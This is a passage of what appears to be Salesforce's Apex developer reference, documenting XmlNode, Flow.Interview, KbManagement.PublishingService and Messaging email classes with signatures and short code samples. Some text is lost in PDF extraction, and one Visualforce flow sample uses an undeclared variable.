removeChild(childNode)
Removes the given child node.

1627

Reference

XmlNode Class

Signature
public Boolean removeChild(Dom.XmlNode childNode)

Parameters
childNode

Type: Dom.XmlNode

Return Value
Type: Boolean

setAttribute(key, value)
Sets the key attribute value.

Signature
public Void setAttribute(String key, String value)

Parameters
key

Type: String
value

Type: String

Return Value
Type: Void

setAttributeNs(key, value, keyNamespace, valueNamespace)

Sets the key attribute value.

Signature
public Void setAttributeNs(String key, String value, String keyNamespace, String
valueNamespace)

Parameters
key

Type: String
value

Type: String
keyNamespace

Type: String

1628

Reference

Flow Namespace

valueNamespace

Type: String

Return Value
Type: Void

setNamespace(prefix, namespace)
Sets the namespace for the given prefix.

Signature
public Void setNamespace(String prefix, String namespace)

Parameters
prefix

Type: String
namespace

Type: String

Return Value
Type: Void

Flow Namespace
The Flow namespace provides a class for advanced Visualforce controller access to flows.
The following is the class in the Flow namespace.
IN THIS SECTION:
Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.

Interview Class
The Flow.Interview class provides advanced Visualforce controller access to flows and the ability to start a flow.

Namespace
Flow

1629

Reference

Interview Class

Usage
The Flow.Interview class is used with Visual Workflow. Use the methods in this class to invoke an autolaunched flow or to enable
a Visualforce controller to access a flow variable..

Example
The following sample uses the getVariableValue method to obtain breadcrumb (navigation) information from the flow embedded
in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a vaBreadCrumb
variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.
public class SampleController {
//Instance of the flow
public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {
String aBreadCrumb;
if (myFlow==null) { return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ? 'Home': aBreadCrumb);
}
}

The following includes a sample controller that starts a flow and the corresponding Visualforce page. The Visualforce page contains an
input box and a start button. When the user enters a number in the input box and clicks Start, the controllers start method is called.
The button saves the user-entered value to the flows input variable and launches the flow using the start method. The flow
doubles the value of input and assigns it to the output variable, and the output label displays the value for output by using
the getVariableValue method.
public class FlowController {
//Instance of the Flow
public Flow.Interview.doubler myFlow {get; set;}
public Double value {get; set;}
public Double getOutput() {
if (myFlow == null) return null;
return (Double)(myFlow.getVariableValue('v1'));
}
public void start() {
Map<String, Object> myMap = new Map<String, Object>();
myMap.put('v1', input);
myFlow = new Flow.Interview.doubler(myMap);
myFlow.start();
}
}

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Reference

Interview Class

The following is the Visualforce page that uses the sample flow controller.
<apex:page controller="FlowController">
<apex:outputLabel id="text">v1 = {!output}</apex:outputLabel>
<apex:form >
value : <apex:inputText value="{!output}"/>
<apex:commandButton action="{!start}" value="Start" reRender="text"/>
</apex:form>
</apex:page>

Interview Methods
The following are instance methods for Interview.
IN THIS SECTION:
getVariableValue(variableName)
Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a
separate flow that is called by a subflow element.
start()
Invokes an autolaunched flow or user provisioning flow.

getVariableValue(variableName)
Returns the value of the specified flow variable. The flow variable can be in the flow embedded in the Visualforce page, or in a separate
flow that is called by a subflow element.

Signature
public Object getVariableValue(String variableName)

Parameters
variableName

Type: String
Specifies the unique name of the flow variable.

Return Value
Type: Object

Usage
The returned variable value comes from whichever flow the interview is running. If the specified variable cant be found in that flow, the
method returns null.
This method checks for the existence of the variable at run time only, not at compile time.

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Reference

KbManagement Namespace

start()
Invokes an autolaunched flow or user provisioning flow.

Signature
public Void start()

Return Value
Type: Void

Usage
This method can be used only with flows that have one of these types.
Autolaunched Flow
User Provisioning Flow
For details, see Flow Types in the Visual Workflow Guide.
When a flow user invokes an autolaunched flow, the active flow version is run. If theres no active version, the latest version is run. When
a flow admin invokes an autolaunched flow, the latest version is always run.

KbManagement Namespace
The KbManagement namespace provides a class for managing knowledge articles.
The following is the class in the KbManagement namespace.
IN THIS SECTION:
PublishingService Class
Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.

PublishingService Class
Use the methods in the KbManagement.PublishingService class to manage the lifecycle of an article and its translations.

Namespace
KbManagement

Usage
Use the methods in the KbManagement.PublishingService class to manage the following parts of the lifecycle of an article
and its translations:
Publishing
Updating
Retrieving

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Reference

PublishingService Class

Deleting
Submitting for translation
Setting a translation to complete or incomplete status
Archiving
Assigning review tasks for draft articles or translations
Note: Date values are based on GMT.
To use the methods in this class, you must enable Salesforce Knowledge. See Salesforce Knowledge Implementation Guide for more
information on setting up Salesforce Knowledge.

PublishingService Methods
The following are methods for PublishingService. All methods are static.
IN THIS SECTION:
archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives
the article on the scheduled date.
assignDraftArticleTask(articleId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft article.
assignDraftTranslationTask(articleVersionId, assigneeId, instructions, dueDate, sendEmailNotification)
Assigns a review task related to a draft translation.
cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.
cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.
completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.
deleteArchivedArticle(articleId)
Deletes an archived article.
deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.
deleteDraftArticle(articleId)
Deletes a draft article.
deleteDraftTranslation(articleVersionId)
Deletes a draft translation.
editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.
editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online
article, if unpublish is set to true.

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PublishingService Class

editPublishedTranslation(articleId, language, unpublish)

Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also,
unpublishes the article, if set to true.
publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.
restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article
version ID.
scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.
setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to in progress status.
submitForTranslation(articleId, language, assigneeId, dueDate)
Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns
new ID of the draft translation.

archiveOnlineArticle(articleId, scheduledDate)
Archives an online version of an article. If the specified scheduledDate is null, the article is archived immediately. Otherwise, it archives
the article on the scheduled date.

Signature
public static Void archiveOnlineArticle(String articleId, Datetime scheduledDate)

Parameters
articleId

Type: String
scheduledDate

Type: Datetime

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.archiveOnlineArticle(articleId, scheduledDate);

assignDraftArticleTask(articleId, assigneeId, instructions, dueDate,

sendEmailNotification)
Assigns a review task related to a draft article.

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Reference

PublishingService Class

Signature
public static Void assignDraftArticleTask(String articleId, String assigneeId, String
instructions, Datetime dueDate, Boolean sendEmailNotification)

Parameters
articleId

Type: String
assigneeId

Type: String
instructions

Type: String
dueDate

Type: Datetime
sendEmailNotification

Type: Boolean

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
String assigneeId = '';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftArticleTask(articleId, assigneeId, instructions,
dueDate, true);

assignDraftTranslationTask(articleVersionId, assigneeId, instructions,

dueDate, sendEmailNotification)
Assigns a review task related to a draft translation.

Signature
public static Void assignDraftTranslationTask(String articleVersionId, String assigneeId,
String instructions, Datetime dueDate, Boolean sendEmailNotification)

Parameters
articleVersionId

Type: String
assigneeId

Type: String

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Reference

PublishingService Class

instructions

Type: String
dueDate

Type: Datetime
sendEmailNotification

Type: Boolean

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
String assigneeId = 'Insert assignee ID';
String instructions = 'Please review this draft.';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12, 1);
KbManagement.PublishingService.assignDraftTranslationTask(articleId, assigneeId,
instructions, dueDate, true);

cancelScheduledArchivingOfArticle(articleId)
Cancels the scheduled archiving of an online article.

Signature
public static Void cancelScheduledArchivingOfArticle(String articleId)

Parameters
articleId

Type: String

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledArchivingOfArticle (articleId);

cancelScheduledPublicationOfArticle(articleId)
Cancels the scheduled publication of a draft article.

Signature
public static Void cancelScheduledPublicationOfArticle(String articleId)

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Reference

PublishingService Class

Parameters
articleId

Type: String

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.cancelScheduledPublicationOfArticle (articleId);

completeTranslation(articleVersionId)
Puts a translation in a completed state that is ready to publish.

Signature
public static Void completeTranslation(String articleVersionId)

Parameters
articleVersionId

Type: String

Return Value
Type: Void

Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.completeTranslation(articleVersionId);

deleteArchivedArticle(articleId)
Deletes an archived article.

Signature
public static Void deleteArchivedArticle(String articleId)

Parameters
articleId

Type: String

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Reference

PublishingService Class

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteArchivedArticle(articleId);

deleteArchivedArticleVersion(articleId, versionNumber)
Deletes a specific version of an archived article.

Signature
public static Void deleteArchivedArticleVersion(String articleId, Integer versionNumber)

Parameters
articleId

Type: String
versionNumber

Type: Integer

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
Integer versionNumber = 1;
KbManagement.PublishingService.deleteArchivedArticleVersion(articleId, versionNumber);

deleteDraftArticle(articleId)
Deletes a draft article.

Signature
public static Void deleteDraftArticle(String articleId)

Parameters
articleId

Type: String

Return Value
Type: Void

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Reference

PublishingService Class

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.deleteDraftArticle(articleId);

deleteDraftTranslation(articleVersionId)
Deletes a draft translation.

Signature
public static Void deleteDraftTranslation(String articleVersionId)

Parameters
articleVersionId

Type: String

Return Value
Type: Void

Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.deleteDraftTranslation (articleVersionId);

editArchivedArticle(articleId)
Creates a draft article from the archived master version and returns the new draft master version ID of the article.

Signature
public static String editArchivedArticle(String articleId)

Parameters
articleId

Type: String

Return Value
Type: String

Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editArchivedArticle(articleId);

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Reference

PublishingService Class

editOnlineArticle(articleId, unpublish)
Creates a draft article from the online version and returns the new draft master version ID of the article. Also, unpublishes the online
article, if unpublish is set to true.

Signature
public static String editOnlineArticle(String articleId, Boolean unpublish)

Parameters
articleId

Type: String
unpublish

Type: Boolean

Return Value
Type: String

Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.editOnlineArticle (articleId, true);

editPublishedTranslation(articleId, language, unpublish)

Creates a draft version of the online translation for a specific language and returns the new draft master version ID of the article. Also,
unpublishes the article, if set to true.

Signature
public static String editPublishedTranslation(String articleId, String language, Boolean
unpublish)

Parameters
articleId

Type: String
language

Type: String
unpublish

Type: Boolean

Return Value
Type: String

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Reference

PublishingService Class

Example
String articleId = 'Insert article ID';
String language = 'fr';
String id = KbManagement.PublishingService.editPublishedTranslation(articleId, language,
true);

publishArticle(articleId, flagAsNew)
Publishes an article. If flagAsNew is set to true, the article is published as a major version.

Signature
public static Void publishArticle(String articleId, Boolean flagAsNew)

Parameters
articleId

Type: String
flagAsNew

Type: Boolean

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
KbManagement.PublishingService.publishArticle(articleId, true);

restoreOldVersion(articleId, versionNumber)
Creates a draft article from an existing online article based on the specified archived version of the article and returns the article version
ID.

Signature
public static String restoreOldVersion(String articleId, Integer versionNumber)

Parameters
articleId

Type: String
versionNumber

Type: Integer

Return Value
Type: String

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Reference

PublishingService Class

Example
String articleId = 'Insert article ID';
String id = KbManagement.PublishingService.restoreOldVersion (articleId, 1);

scheduleForPublication(articleId, scheduledDate)
Schedules the article for publication as a major version. If the specified date is null, the article is published immediately.

Signature
public static Void scheduleForPublication(String articleId, Datetime scheduledDate)

Parameters
articleId

Type: String
scheduledDate

Type: Datetime

Return Value
Type: Void

Example
String articleId = 'Insert article ID';
Datetime scheduledDate = Datetime.newInstanceGmt(2012, 12,1,13,30,0);
KbManagement.PublishingService.scheduleForPublication(articleId, scheduledDate);

setTranslationToIncomplete(articleVersionId)
Sets a draft translation that is ready for publication back to in progress status.

Signature
public static Void setTranslationToIncomplete(String articleVersionId)

Parameters
articleVersionId

Type: String

Return Value
Type: Void

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Reference

Messaging Namespace

Example
String articleVersionId = 'Insert article ID';
KbManagement.PublishingService.setTranslationToIncomplete(articleVersionId);

submitForTranslation(articleId, language, assigneeId, dueDate)

Submits an article for translation to the specified language. Also assigns the specified user and due date to the submittal and returns
new ID of the draft translation.

Signature
public static String submitForTranslation(String articleId, String language, String
assigneeId, Datetime dueDate)

Parameters
articleId

Type: String
language

Type: String
assigneeId

Type: String
dueDate

Type: Datetime

Return Value
Type: String

Example
String articleId = 'Insert article ID';
String language = 'fr';
String assigneeId = 'Insert assignee ID';
Datetime dueDate = Datetime.newInstanceGmt(2012, 12,1);
String id = KbManagement.PublishingService.submitForTranslation(articleId, language,
assigneeId, dueDate);

Messaging Namespace
The Messaging namespace provides classes and methods for Salesforce outbound and inbound email functionality.
The following are the classes in the Messaging namespace.
IN THIS SECTION:
Email Class (Base Email Methods)
Contains base email methods common to both single and mass email.

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Reference

Email Class (Base Email Methods)

EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.
InboundEmail Class
Represents an inbound email object.
InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.
InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.
InboundEmailResult Class
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be
successful.
InboundEnvelope Class
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.
MassEmailMessage Class
Contains methods for sending mass email.
InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.
PushNotification Class
PushNotification is used to configure push notifications and send them from an Apex trigger.

PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.
RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.
RenderEmailTemplateError Class
Represents an error that the RenderEmailTemplateBodyResult object can contain.
SendEmailError Class
Represents an error that the SendEmailResult object may contain.
SendEmailResult Class
Contains the result of sending an email message.
SingleEmailMessage Methods
Contains methods for sending single email messages.

Email Class (Base Email Methods)

Contains base email methods common to both single and mass email.

Namespace
Messaging

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Reference

Email Class (Base Email Methods)

Usage
Note: If templates are not being used, all email content must be in plain text, HTML, or both.Visualforce email templates cannot
be used for mass email.

Email Methods
The following are methods for Email. All are instance methods.
IN THIS SECTION:
setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first
email sent.
setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.
setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.
setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based
on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track
open rates.
setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a
setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.
setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user
has a signature it is included in the email unless you specify false.

setBccSender(bcc)
Indicates whether the email sender receives a copy of the email that is sent. For a mass mail, the sender is only copied on the first email
sent.

Signature
public Void setBccSender(Boolean bcc)

Parameters
bcc

Type: Boolean

Return Value
Type: Void

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Reference

Email Class (Base Email Methods)

Usage
Note: If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages.
The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_ COMPLIANCE_ENABLED. Contact your Salesforce
representative for information on BCC compliance.

setReplyTo(replyAddress)
Optional. The email address that receives the message when a recipient replies.

Signature
public Void setReplyTo(String replyAddress)

Parameters
replyAddress

Type: String

Return Value
Type: Void

setTemplateID(templateId)
The ID of the template to be merged to create this email. You must specify a value for setTemplateId, setHtmlBody, or
setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

Signature
public Void setTemplateID(ID templateId)

Parameters
templateId

Type: ID

Return Value
Type: Void

Usage
Note: setHtmlBody and setPlainTextBody apply only to single email methods, not to mass email methods.

setSaveAsActivity(saveAsActivity)
Optional. The default value is true, meaning the email is saved as an activity. This argument only applies if the recipient list is based
on targetObjectId or targetObjectIds. If HTML email tracking is enabled for the organization, you will be able to track
open rates.

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Reference

Email Class (Base Email Methods)

Signature
public Void setSaveAsActivity(Boolean saveAsActivity)

Parameters
saveAsActivity

Type: Boolean

Return Value
Type: Void

setSenderDisplayName(displayName)
Optional. The name that appears on the From line of the email. This cannot be set if the object associated with a
setOrgWideEmailAddressId for a SingleEmailMessage has defined its DisplayName field.

Signature
public Void setSenderDisplayName(String displayName)

Parameters
displayName

Type: String

Return Value
Type: Void

setUseSignature(useSignature)
Indicates whether the email includes an email signature if the user has one configured. The default is true, meaning if the user has a
signature it is included in the email unless you specify false.

Signature
public Void setUseSignature(Boolean useSignature)

Parameters
useSignature

Type: Boolean

Return Value
Type: Void

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Reference

EmailFileAttachment Class

EmailFileAttachment Class
EmailFileAttachment is used in SingleEmailMessage to specify attachments passed in as part of the request, as opposed to existing
documents in Salesforce.

Namespace
Messaging
IN THIS SECTION:
EmailFileAttachment Constructors
EmailFileAttachment Methods

EmailFileAttachment Constructors
The following are constructors for EmailFileAttachment.
IN THIS SECTION:
EmailFileAttachment()
Creates a new instance of the Messaging.EmailFileAttachment class.

EmailFileAttachment()
Creates a new instance of the Messaging.EmailFileAttachment class.

Signature
public EmailFileAttachment()

EmailFileAttachment Methods
The following are methods for EmailFileAttachment. All are instance methods.
IN THIS SECTION:
setBody(attachment)
Sets the attachment itself.
setContentType(contentType)
Sets the attachment's Content-Type.
setFileName(fileName)
Sets the name of the file to attach.
setInline(isInline)
Specifies a Content-Disposition of inline (true) or attachment (false).

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Reference

EmailFileAttachment Class

setBody(attachment)
Sets the attachment itself.

Signature
public Void setBody(Blob attachment)

Parameters
attachment

Type: Blob

Return Value
Type: Void

setContentType(contentType)
Sets the attachment's Content-Type.

Signature
public Void setContentType(String contentType)

Parameters
contentType

Type: String

Return Value
Type: Void

setFileName(fileName)
Sets the name of the file to attach.

Signature
public Void setFileName(String fileName)

Parameters
fileName

Type: String

Return Value
Type: Void

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Reference

InboundEmail Class

setInline(isInline)
Specifies a Content-Disposition of inline (true) or attachment (false).

Signature
public Void setInline(Boolean isInline)

Parameters
isInline

Type: Boolean

Return Value
Type: Void

Usage
In most cases, inline content is displayed to the user when the message is opened. Attachment content requires user action to be
displayed.

InboundEmail Class
Represents an inbound email object.

Namespace
Messaging
IN THIS SECTION:
InboundEmail Constructors
InboundEmail Properties

InboundEmail Constructors
The following are constructors for InboundEmail.
IN THIS SECTION:
InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.

InboundEmail()
Creates a new instance of the Messaging.InboundEmail class.

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Reference

InboundEmail Class

Signature
public InboundEmail()

InboundEmail Properties
The following are properties for InboundEmail.
IN THIS SECTION:
binaryAttachments
A list of binary attachments received with the email, if any.
ccAddresses
A list of carbon copy (CC) addresses, if any.
fromAddress
The email address that appears in the From field.
fromName
The name that appears in the From field, if any.
headers
A list of the RFC 2822 headers in the email.
htmlBody
The HTML version of the email, if specified by the sender.
htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false.)
inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the
parent email or emails' message-IDs.
messageId
The Message-IDthe incoming email's unique identifier.
plainTextBody
The plain text version of the email, if specified by the sender.
plainTextBodyIsTruncated
Indicates whether the plain body text is truncated (true) or not (false.)
references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message
IDs, and possibly the In-Reply-To fields.
replyTo
The email address that appears in the reply-to header.
subject
The subject line of the email, if any.
textAttachments
A list of text attachments received with the email, if any.

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Reference

InboundEmail Class

toAddresses
The email address that appears in the To field.

binaryAttachments
A list of binary attachments received with the email, if any.

Signature
public InboundEmail.BinaryAttachment[] binaryAttachments {get; set;}

Property Value
Type: InboundEmail.BinaryAttachment[]

Usage
Examples of binary attachments include image, audio, application, and video files.

ccAddresses
A list of carbon copy (CC) addresses, if any.

Signature
public String[] ccAddresses {get; set;}

Property Value
Type: String[]

fromAddress
The email address that appears in the From field.

Signature
public String fromAddress {get; set;}

Property Value
Type: String

fromName
The name that appears in the From field, if any.

Signature
public String fromName {get; set;}

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Reference

InboundEmail Class

Property Value
Type: String

headers
A list of the RFC 2822 headers in the email.

Signature
public InboundEmail.Header[] headers {get; set;}

Property Value
Type: InboundEmail.Header[]

Usage
The list of the RFC 2822 headers includes:
Recieved from
Custom headers
Message-ID
Date

htmlBody
The HTML version of the email, if specified by the sender.

Signature
public String htmlBody {get; set;}

Property Value
Type: String

htmlBodyIsTruncated
Indicates whether the HTML body text is truncated (true) or not (false.)

Signature
public Boolean htmlBodyIsTruncated {get; set;}

Property Value
Type: Boolean

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Reference

InboundEmail Class

inReplyTo
The In-Reply-To field of the incoming email. Identifies the email or emails to which this one is a reply (parent emails). Contains the parent
email or emails' message-IDs.

Signature
public String inReplyTo {get; set;}

Property Value
Type: String

messageId
The Message-IDthe incoming email's unique identifier.

Signature
public String messageId {get; set;}

Property Value
Type: String

plainTextBody
The plain text version of the email, if specified by the sender.

Signature
public String plainTextBody {get; set;}

Property Value
Type: String

plainTextBodyIsTruncated
Indicates whether the plain body text is truncated (true) or not (false.)

Signature
public Boolean plainTextBodyIsTruncated {get; set;}

Property Value
Type: Boolean

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Reference

InboundEmail Class

references
The References field of the incoming email. Identifies an email thread. Contains a list of the parent emails' References and message IDs,
and possibly the In-Reply-To fields.

Signature
public String[] references {get; set;}

Property Value
Type: String[]

replyTo
The email address that appears in the reply-to header.

Signature
public String replyTo {get; set;}

Property Value
Type: String

Usage
If there is no reply-to header, this field is identical to the fromAddress field.

subject
The subject line of the email, if any.

Signature
public String subject {get; set;}

Property Value
Type: String

textAttachments
A list of text attachments received with the email, if any.

Signature
public InboundEmail.TextAttachment[] textAttachments {get; set;}

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Reference

InboundEmail.BinaryAttachment Class

Property Value
Type: InboundEmail.TextAttachment[]

Usage
The text attachments can be any of the following:
Attachments with a Multipurpose Internet Mail Extension (MIME) type of text
Attachments with a MIME type of application/octet-stream and a file name that ends with either a .vcf or .vcs
extension. These are saved as text/x-vcard and text/calendar MIME types, respectively.

toAddresses
The email address that appears in the To field.

Signature
public String[] toAddresses {get; set;}

Property Value
Type: String[]

InboundEmail.BinaryAttachment Class
An InboundEmail object stores binary attachments in an InboundEmail.BinaryAttachment object.

Namespace
Messaging

Usage
Examples of binary attachments include image, audio, application, and video files.
IN THIS SECTION:
InboundEmail.BinaryAttachment Constructors
InboundEmail.BinaryAttachment Properties

InboundEmail.BinaryAttachment Constructors
The following are constructors for InboundEmail.BinaryAttachment.
IN THIS SECTION:
InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.

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InboundEmail.BinaryAttachment Class

InboundEmail.BinaryAttachment()
Creates a new instance of the Messaging.InboundEmail.BinaryAttachment class.

Signature
public InboundEmail.BinaryAttachment()

InboundEmail.BinaryAttachment Properties
The following are properties for InboundEmail.BinaryAttachment.
IN THIS SECTION:
body
The body of the attachment.
fileName
The name of the attached file.
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
mimeTypeSubType
The primary and sub MIME-type.

body
The body of the attachment.

Signature
public Blob body {get; set;}

Property Value
Type: Blob

fileName
The name of the attached file.

Signature
public String fileName {get; set;}

Property Value
Type: String

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InboundEmail.TextAttachment Class

headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.

Signature
public List<Messaging.InboundEmail.Header> headers {get; set;}

Property Value
Type: List<Messaging.InboundEmail.Header>

mimeTypeSubType
The primary and sub MIME-type.

Signature
public String mimeTypeSubType {get; set;}

Property Value
Type: String

InboundEmail.TextAttachment Class
An InboundEmail object stores text attachments in an InboundEmail.TextAttachment object.

Namespace
Messaging

InboundEmail.TextAttachment Constructors
The following are constructors for InboundEmail.TextAttachment.

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InboundEmail.TextAttachment Class

IN THIS SECTION:
InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.

InboundEmail.TextAttachment()
Creates a new instance of the Messaging.InboundEmail.TextAttachment class.

Signature
public InboundEmail.TextAttachment()

InboundEmail.TextAttachment Properties
The following are properties for InboundEmail.TextAttachment.
IN THIS SECTION:
body
The body of the attachment.
bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false.)
charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.
fileName
The name of the attached file.
headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.
mimeTypeSubType
The primary and sub MIME-type.

body
The body of the attachment.

Signature
public String body {get; set;}

Property Value
Type: String

bodyIsTruncated
Indicates whether the attachment body text is truncated (true) or not (false.)

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InboundEmail.TextAttachment Class

Signature
public Boolean bodyIsTruncated {get; set;}

Property Value
Type: Boolean

charset
The original character set of the body field. The body is re-encoded as UTF-8 as input to the Apex method.

Signature
public String charset {get; set;}

Property Value
Type: String

fileName
The name of the attached file.

Signature
public String fileName {get; set;}

Property Value
Type: String

headers
Any header values associated with the attachment. Examples of header names include Content-Type,
Content-Transfer-Encoding, and Content-ID.

Signature
public List<Messaging.InboundEmail.Header> headers {get; set;}

Property Value
Type: List<Messaging.InboundEmail.Header>

mimeTypeSubType
The primary and sub MIME-type.

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InboundEmailResult Class

Signature
public String mimeTypeSubType {get; set;}

Property Value
Type: String

InboundEmailResult Class
The InboundEmailResult object is used to return the result of the email service. If this object is null, the result is assumed to be successful.

Namespace
Messaging

InboundEmailResult Properties
The following are properties for InboundEmailResult.
IN THIS SECTION:
message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned
by the Success field.
success
A value that indicates whether the email was successfully processed.

message
A message that Salesforce returns in the body of a reply email. This field can be populated with text irrespective of the value returned
by the Success field.

Signature
public String message {get; set;}

Property Value
Type: String

success
A value that indicates whether the email was successfully processed.

Signature
public Boolean success {get; set;}

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InboundEnvelope Class

Property Value
Type: Boolean

Usage
If false, Salesforce rejects the inbound email and sends a reply email to the original sender containing the message specified in the
Message field.

InboundEnvelope Class
The InboundEnvelope object stores the envelope information associated with the inbound email, and has the following fields.

Namespace
Messaging

InboundEnvelope Properties
The following are properties for InboundEnvelope.
IN THIS SECTION:
fromAddress
The name that appears in the From field of the envelope, if any.
toAddress
The name that appears in the To field of the envelope, if any.

fromAddress
The name that appears in the From field of the envelope, if any.

Signature
public String fromAddress {get; set;}

Property Value
Type: String

toAddress
The name that appears in the To field of the envelope, if any.

Signature
public String toAddress {get; set;}

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MassEmailMessage Class

Property Value
Type: String

MassEmailMessage Class
Contains methods for sending mass email.

Namespace
Messaging

Usage
All base email (Email class) methods are also available to the MassEmailMessage objects.
IN THIS SECTION:
MassEmailMessage Constructors
MassEmailMessage Methods
SEE ALSO:
Email Class (Base Email Methods)

MassEmailMessage Constructors
The following are constructors for MassEmailMessage.
IN THIS SECTION:
MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.

MassEmailMessage()
Creates a new instance of the Messaging.MassEmailMessage class.

Signature
public MassEmailMessage()

MassEmailMessage Methods
The following are methods for MassEmailMessage. All are instance methods.
IN THIS SECTION:
setDescription(description)
The description of the email.

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MassEmailMessage Class

setTargetObjectIds(targetObjectIds)
A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge
fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps
to further ensure that merge fields in the template contain the correct data.

setDescription(description)
The description of the email.

Signature
public Void setDescription(String description)

Parameters
description

Type: String

Return Value
Type: Void

Signature
public Void setTargetObjectIds(ID[] targetObjectIds)

Parameters
targetObjectIds

Type: ID[]

Return Value
Type: Void

Usage
You can list up to 250 IDs per email. If you specify a value for the targetObjectIds field, optionally specify a whatId as well to
set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data.
Do not specify the IDs of records that have the Email Opt Out option selected.
All emails must have a recipient value in at least one of the following fields:
toAddresses

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InboundEmail.Header Class

ccAddresses
bccAddresses
targetObjectId

setWhatIds(whatIds)
Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to
further ensure that merge fields in the template contain the correct data.

Signature
public Void setWhatIds(ID[] whatIds)

Parameters
whatIds

Type: ID[]

Return Value
Type: Void

Usage
The values must be one of the following types:
Contract
Case
Opportunity
Product
Note: If you specify whatIds, specify one for each targetObjectId; otherwise, you will receive an INVALID_ID_FIELD
error.

InboundEmail.Header Class
An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.

Namespace
Messaging

InboundEmail.Header Properties
The following are properties for InboundEmail.Header.

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PushNotification Class

IN THIS SECTION:
name
